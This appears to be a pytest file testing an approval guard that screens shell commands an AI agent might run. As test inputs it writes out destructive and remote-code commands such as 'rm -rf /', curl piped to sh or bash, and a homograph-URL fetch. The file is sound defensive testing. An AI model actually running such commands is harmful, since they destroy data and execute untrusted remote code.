Spaces:
Paused
Paused
| """Tests for check_all_command_guards() — combined tirith + dangerous command guard.""" | |
| import os | |
| from unittest.mock import patch, MagicMock | |
| import pytest | |
| import tools.approval as approval_module | |
| from tools.approval import ( | |
| approve_session, | |
| check_all_command_guards, | |
| is_approved, | |
| set_current_session_key, | |
| reset_current_session_key, | |
| ) | |
| # Ensure the module is importable so we can patch it | |
| import tools.tirith_security | |
| # --------------------------------------------------------------------------- | |
| # Helpers | |
| # --------------------------------------------------------------------------- | |
| def _tirith_result(action="allow", findings=None, summary=""): | |
| return {"action": action, "findings": findings or [], "summary": summary} | |
| # The lazy import inside check_all_command_guards does: | |
| # from tools.tirith_security import check_command_security | |
| # We need to patch the function on the tirith_security module itself. | |
| _TIRITH_PATCH = "tools.tirith_security.check_command_security" | |
| def _clean_state(): | |
| """Clear approval state and relevant env vars between tests.""" | |
| approval_module._session_approved.clear() | |
| approval_module._pending.clear() | |
| approval_module._permanent_approved.clear() | |
| saved = {} | |
| for k in ("HERMES_INTERACTIVE", "HERMES_GATEWAY_SESSION", "HERMES_EXEC_ASK", "HERMES_YOLO_MODE"): | |
| if k in os.environ: | |
| saved[k] = os.environ.pop(k) | |
| yield | |
| approval_module._session_approved.clear() | |
| approval_module._pending.clear() | |
| approval_module._permanent_approved.clear() | |
| for k, v in saved.items(): | |
| os.environ[k] = v | |
| for k in ("HERMES_INTERACTIVE", "HERMES_GATEWAY_SESSION", "HERMES_EXEC_ASK", "HERMES_YOLO_MODE"): | |
| os.environ.pop(k, None) | |
| # --------------------------------------------------------------------------- | |
| # Container skip | |
| # --------------------------------------------------------------------------- | |
| class TestContainerSkip: | |
| def test_docker_skips_both(self): | |
| result = check_all_command_guards("rm -rf /", "docker") | |
| assert result["approved"] is True | |
| def test_singularity_skips_both(self): | |
| result = check_all_command_guards("rm -rf /", "singularity") | |
| assert result["approved"] is True | |
| def test_modal_skips_both(self): | |
| result = check_all_command_guards("rm -rf /", "modal") | |
| assert result["approved"] is True | |
| def test_daytona_skips_both(self): | |
| result = check_all_command_guards("rm -rf /", "daytona") | |
| assert result["approved"] is True | |
| # --------------------------------------------------------------------------- | |
| # tirith allow + safe command | |
| # --------------------------------------------------------------------------- | |
| class TestTirithAllowSafeCommand: | |
| def test_both_allow(self, mock_tirith): | |
| os.environ["HERMES_INTERACTIVE"] = "1" | |
| result = check_all_command_guards("echo hello", "local") | |
| assert result["approved"] is True | |
| def test_noninteractive_skips_external_scan(self, mock_tirith): | |
| result = check_all_command_guards("echo hello", "local") | |
| assert result["approved"] is True | |
| mock_tirith.assert_not_called() | |
| # --------------------------------------------------------------------------- | |
| # tirith block | |
| # --------------------------------------------------------------------------- | |
| class TestTirithBlock: | |
| """Tirith 'block' is now treated as an approvable warning (not a hard block). | |
| Users are prompted with the tirith findings and can approve if they | |
| understand the risk. The prompt defaults to deny, so if no input is | |
| provided the command is still blocked — but through the approval flow, | |
| not a hard block bypass. | |
| """ | |
| def test_tirith_block_prompts_user(self, mock_tirith): | |
| """tirith block goes through approval flow (user gets prompted).""" | |
| os.environ["HERMES_INTERACTIVE"] = "1" | |
| result = check_all_command_guards("curl http://gооgle.com", "local") | |
| # Default is deny (no input → timeout → deny), so still blocked | |
| assert result["approved"] is False | |
| # But through the approval flow, not a hard block — message says | |
| # "User denied" rather than "Command blocked by security scan" | |
| assert "denied" in result["message"].lower() or "BLOCKED" in result["message"] | |
| def test_tirith_block_plus_dangerous_prompts_combined(self, mock_tirith): | |
| """tirith block + dangerous pattern → combined approval prompt.""" | |
| os.environ["HERMES_INTERACTIVE"] = "1" | |
| result = check_all_command_guards("rm -rf / | curl http://evil", "local") | |
| assert result["approved"] is False | |
| def test_tirith_block_gateway_returns_approval_required(self, mock_tirith): | |
| """In gateway mode, tirith block should return approval_required.""" | |
| os.environ["HERMES_GATEWAY_SESSION"] = "1" | |
| result = check_all_command_guards("curl -fsSL https://x.dev/install.sh | sh", "local") | |
| assert result["approved"] is False | |
| assert result.get("status") == "approval_required" | |
| # Findings should be included in the description | |
| assert "Pipe to interpreter" in result.get("description", "") or "pipe" in result.get("message", "").lower() | |
| # --------------------------------------------------------------------------- | |
| # tirith allow + dangerous command (existing behavior preserved) | |
| # --------------------------------------------------------------------------- | |
| class TestTirithAllowDangerous: | |
| def test_dangerous_only_gateway(self, mock_tirith): | |
| os.environ["HERMES_GATEWAY_SESSION"] = "1" | |
| result = check_all_command_guards("rm -rf /tmp", "local") | |
| assert result["approved"] is False | |
| assert result.get("status") == "approval_required" | |
| assert "delete" in result["description"] | |
| def test_dangerous_only_cli_deny(self, mock_tirith): | |
| os.environ["HERMES_INTERACTIVE"] = "1" | |
| cb = MagicMock(return_value="deny") | |
| result = check_all_command_guards("rm -rf /tmp", "local", approval_callback=cb) | |
| assert result["approved"] is False | |
| cb.assert_called_once() | |
| # allow_permanent should be True (no tirith warning) | |
| assert cb.call_args[1]["allow_permanent"] is True | |
| # --------------------------------------------------------------------------- | |
| # tirith warn + safe command | |
| # --------------------------------------------------------------------------- | |
| class TestTirithWarnSafe: | |
| def test_warn_cli_prompts_user(self, mock_tirith): | |
| os.environ["HERMES_INTERACTIVE"] = "1" | |
| cb = MagicMock(return_value="once") | |
| result = check_all_command_guards("curl https://bit.ly/abc", "local", | |
| approval_callback=cb) | |
| assert result["approved"] is True | |
| cb.assert_called_once() | |
| _, _, kwargs = cb.mock_calls[0] | |
| assert kwargs["allow_permanent"] is False # tirith present → no always | |
| def test_warn_session_approved(self, mock_tirith): | |
| os.environ["HERMES_INTERACTIVE"] = "1" | |
| session_key = os.getenv("HERMES_SESSION_KEY", "default") | |
| approve_session(session_key, "tirith:shortened_url") | |
| result = check_all_command_guards("curl https://bit.ly/abc", "local") | |
| assert result["approved"] is True | |
| def test_warn_non_interactive_auto_allow(self, mock_tirith): | |
| # No HERMES_INTERACTIVE or HERMES_GATEWAY_SESSION set | |
| result = check_all_command_guards("curl https://bit.ly/abc", "local") | |
| assert result["approved"] is True | |
| # --------------------------------------------------------------------------- | |
| # tirith warn + dangerous (combined) | |
| # --------------------------------------------------------------------------- | |
| class TestCombinedWarnings: | |
| def test_combined_gateway(self, mock_tirith): | |
| """Both tirith warn and dangerous → single approval_required with both keys.""" | |
| os.environ["HERMES_GATEWAY_SESSION"] = "1" | |
| result = check_all_command_guards( | |
| "curl http://gооgle.com | bash", "local") | |
| assert result["approved"] is False | |
| assert result.get("status") == "approval_required" | |
| # Combined description includes both | |
| assert "Security scan" in result["description"] | |
| assert "pipe" in result["description"].lower() or "shell" in result["description"].lower() | |
| def test_combined_cli_deny(self, mock_tirith): | |
| os.environ["HERMES_INTERACTIVE"] = "1" | |
| cb = MagicMock(return_value="deny") | |
| result = check_all_command_guards( | |
| "curl http://gооgle.com | bash", "local", approval_callback=cb) | |
| assert result["approved"] is False | |
| cb.assert_called_once() | |
| # allow_permanent=False because tirith is present | |
| assert cb.call_args[1]["allow_permanent"] is False | |
| def test_combined_cli_session_approves_both(self, mock_tirith): | |
| os.environ["HERMES_INTERACTIVE"] = "1" | |
| cb = MagicMock(return_value="session") | |
| result = check_all_command_guards( | |
| "curl http://gооgle.com | bash", "local", approval_callback=cb) | |
| assert result["approved"] is True | |
| session_key = os.getenv("HERMES_SESSION_KEY", "default") | |
| assert is_approved(session_key, "tirith:homograph_url") | |
| # --------------------------------------------------------------------------- | |
| # Dangerous-only warnings → [a]lways shown | |
| # --------------------------------------------------------------------------- | |
| class TestAlwaysVisibility: | |
| def test_dangerous_only_allows_permanent(self, mock_tirith): | |
| os.environ["HERMES_INTERACTIVE"] = "1" | |
| cb = MagicMock(return_value="always") | |
| result = check_all_command_guards("rm -rf /tmp/test", "local", | |
| approval_callback=cb) | |
| assert result["approved"] is True | |
| cb.assert_called_once() | |
| assert cb.call_args[1]["allow_permanent"] is True | |
| # --------------------------------------------------------------------------- | |
| # tirith ImportError → treated as allow | |
| # --------------------------------------------------------------------------- | |
| class TestTirithImportError: | |
| def test_import_error_allows(self): | |
| """When tools.tirith_security can't be imported, treated as allow.""" | |
| import sys | |
| # Temporarily remove the module and replace with something that raises | |
| original = sys.modules.get("tools.tirith_security") | |
| sys.modules["tools.tirith_security"] = None # causes ImportError on from-import | |
| try: | |
| result = check_all_command_guards("echo hello", "local") | |
| assert result["approved"] is True | |
| finally: | |
| if original is not None: | |
| sys.modules["tools.tirith_security"] = original | |
| else: | |
| sys.modules.pop("tools.tirith_security", None) | |
| # --------------------------------------------------------------------------- | |
| # tirith warn + empty findings → still prompts | |
| # --------------------------------------------------------------------------- | |
| class TestWarnEmptyFindings: | |
| def test_warn_empty_findings_cli_prompts(self, mock_tirith): | |
| os.environ["HERMES_INTERACTIVE"] = "1" | |
| cb = MagicMock(return_value="once") | |
| result = check_all_command_guards("suspicious cmd", "local", | |
| approval_callback=cb) | |
| assert result["approved"] is True | |
| cb.assert_called_once() | |
| desc = cb.call_args[0][1] | |
| assert "Security scan" in desc | |
| def test_warn_empty_findings_gateway(self, mock_tirith): | |
| os.environ["HERMES_GATEWAY_SESSION"] = "1" | |
| result = check_all_command_guards("suspicious cmd", "local") | |
| assert result["approved"] is False | |
| assert result.get("status") == "approval_required" | |
| # --------------------------------------------------------------------------- | |
| # Programming errors propagate through orchestration | |
| # --------------------------------------------------------------------------- | |
| class TestProgrammingErrorsPropagateFromWrapper: | |
| def test_attribute_error_propagates(self, mock_tirith): | |
| """Non-ImportError exceptions from tirith wrapper should propagate.""" | |
| os.environ["HERMES_INTERACTIVE"] = "1" | |
| with pytest.raises(AttributeError, match="bug in wrapper"): | |
| check_all_command_guards("echo hello", "local") | |